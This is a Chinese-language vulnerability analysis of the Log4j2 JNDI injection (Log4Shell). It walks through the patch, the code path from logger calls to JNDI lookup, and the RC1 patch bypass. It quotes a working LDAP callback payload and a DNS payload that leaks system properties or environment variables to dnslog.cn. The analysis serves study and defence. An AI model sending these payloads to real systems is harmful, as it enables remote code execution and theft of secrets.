Apache Log4j2 JNDI注入
补丁分析
根据官方Github Restrict LDAP access via JNDI 的这条PR可知漏洞为JNDI注入,从补丁中也能得知修复方式添加了LDAP Server白名单及白名单类,位于 log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java。

对于补丁后的 JndiManager#lookup 方法其使用 URI 类解析,如果协议为 LDAP 则 Host 必须为 allowHosts 中存在的 Host,否则无法发起请求。(即无法调用lookup)。

从补丁中可得知如下信息:
- 漏洞为JNDI注入
- 修复方式采用白名单
而 log4j2 是一个日志组件/框架,其提供的功能也就是打印日志并存储,可控的输入点实际上不会太多,从官方文档可知污点大概率会存在于日志打印时的 info、debug、error等方法中,只有在调用这些方法时才会大概率拼接上用户可控的输入参数(Sink)。
漏洞分析
在撰写本文时网上已经公布了该漏洞的Poc,直接在 logger.error处断点分析,进入 AbstractLogger#error方法。

调用 logIfEnabled 方法时传入的第二个参数(即日志等级)为 Level.ERROR 值为 200。

回到 logIfEnabled 方法中其会调用 isEnabled 方法,其中 level对象的值为 200, message 变量为打印的消息。

进入 isEnabled 调用 Logger$PrivateConfig#filter 方法
1 | return this.privateConfig.filter(level, marker, message, t); |
在filter方法中如果当前对象的 intLevel成员变量大于等于 level.intLevel()方法的返回值则返回 true,而此处返回 true则会进入 if分支中调用 logMessage方法,反之则无法调用。

而 Logger.intLevel 的值默认为 ERROR 即200,所以一些伙伴在本地复现漏洞时会发现只有 error、fatal方法能触发漏洞,实际上是因为 log4j的默认日志等级为 error,所以即使使用 logger.info打印任何消息在控制台中也不会输出日志信息,但在实际的生产环境中,部分开发会将日志等级设置为 info、debug等便降低了漏洞利用门槛。(如果你需要在 info等方法中复现漏洞只需手动设置日志等级即可)
1 | Configurator.setLevel(LogManager.getLogger(HelloWorld.class), Level.info) |
(下图说明了默认的日志等级为ERROR)

回到 logIfEnabled 方法其会调用 logMessage方法将 message字符串封装为 Message对象再调用 logMessageSafely 方法。

调用 logMessageTrackRecursion方法:

incrementRecursionDepth 方法会调用至 getRecursionDepthHolder 方法, recursionDepthHolder是一个 ThreadLocal 的 int[]数组变量,表示当前递归深度。

而后再进入 tryLogMessage 方法中调用 log 方法:

this.privateConfig.loggerConfig.getReliabilityStrategy() 返回 LoggerConfig.reliabilityStrategy的成员变量,其在初始化时赋值为 DefaultReliabilityStrategy对象,该对象实现 LocationAwareReliabilityStrategy接口因此进入IF分支。

调用 LoggerConfig#log 方法:

propertiesRequireLookup成员变量在默认构造器初始化时被赋值为 false,再此调用重载的 log 方法。

LoggerConfig.filter 为 null进入 processLogEvent 方法

event.setIncludeLocation 赋值 MutablelogEvent对象的 includeLcation成员变量为true,LoggerConfig$LoggerConfigPredicate#allow方法默认返回true进入IF分支,调用 callAppenders 方法。

调用 AppenderControl#callAppender方法:

在 AppenderControl#callAppenderPreventRecursion方法中调用 callAppender0方法

进入 tryCallAppender方法

调用 this.appender 为 ConsoleAppender对象,由于子类不存在 append方法,因此会调用到父类 AbstractOutputStreamAppender#append 方法

directEncodeEvent方法中调用 PatternLayout#encode方法

进入 PatternLayout#toText 方法

调用 PatternLayout$PatternSerializer#toSerializable方法

formatters变量是 PatternFormatter[]对象数组,循环调用这些对象的 format方法

循环至 PatternFormatter对象的 converter的成员变量为 MessagePatternConverter对象时进入其 format方法分析

当 workingBuilder的第一位字符为 $与第二位字符为 {时进入分支中,从 DefaultConfiguration对象获取 StrSubstitutor对象调用其 replace方法

跟进 substitute 方法

substitute方法中的 while 循环内获取打印的消息中 ${的结束位置索引,而此处打印的消息为 ${jndi:ldap://192.168.0.114:1389/ygoa8q},因此为 2。而后进入 else分支中

else 分支中的 while循环中如果 pos大于等于 bufEnd则跳出 label117标记的循环(即当前位置大于字符总长度时跳出循环),随后的 if 判断中 pos(起始位置)为2,因此 prefixMatcher.isMatch 返回 0,进入 else 分支。

对打印的消息进行处理后会调用 resolveVariable方法

此处即可查看StrSubstitutor.variableResolver中包含 jndi、sys、env等等…(与后续的信息泄露利用相关)

通过分号进行截取 prefix 与 name,从 strLookupMap属性获取 JndiLookup对象(strLookupMap为Map<String, StrLookup>),此处调用至 JndiLookup#lookup方法

convertJndiName 方法判断传入字符串参数如果不以 java:comp/env/ 开头且不包含 :,则会为其添加 java:comp/env/前缀并返回。

JndiManager#getDefaultManager获取 JndiManager实例对象后调用其 lookup方法

context为 javax.naming.InitialContext对象,调用其 lookup方法且参数可控最终造成JNDI注入

Poc

Lookups
上述 Debug过程中可得知除了 jndi外还支持 lower、upper、sys、env等等…

upper & lower
顾名思义,该Lookup用于转换为大写,LowerLookup同理

sys & env
调用 System.getProperty获取系统属性,env同理用于获取系统环境变量,配合 {jndi:dns://{${sys:java.version}.dnslog.cn}}可通过DNS外带系统属性或环境变量值


…
其余Lookup感兴趣的可自行尝试。
RC1补丁 Bypass
RC1的补丁在
org.apache.logging.log4j.core.net.JndiManager类中新增了白名单验证,如果协议为LDAP或LDAPS则Host必须为allowedHosts列表中(默认只有本地IP存在)。但由于解析JNDI链接时使用java.net.URI类解析,且捕捉了URISyntaxException异常未进行任何操作,在代码走到方法最后时执行lookup,导致RC1补丁被绕过。(但RC1补丁默认情况下已经不会开启LookUp,所以需要在手动开启该功能的情况下才会触发漏洞),而RC2的补丁则是在捕获异常处直接return null。
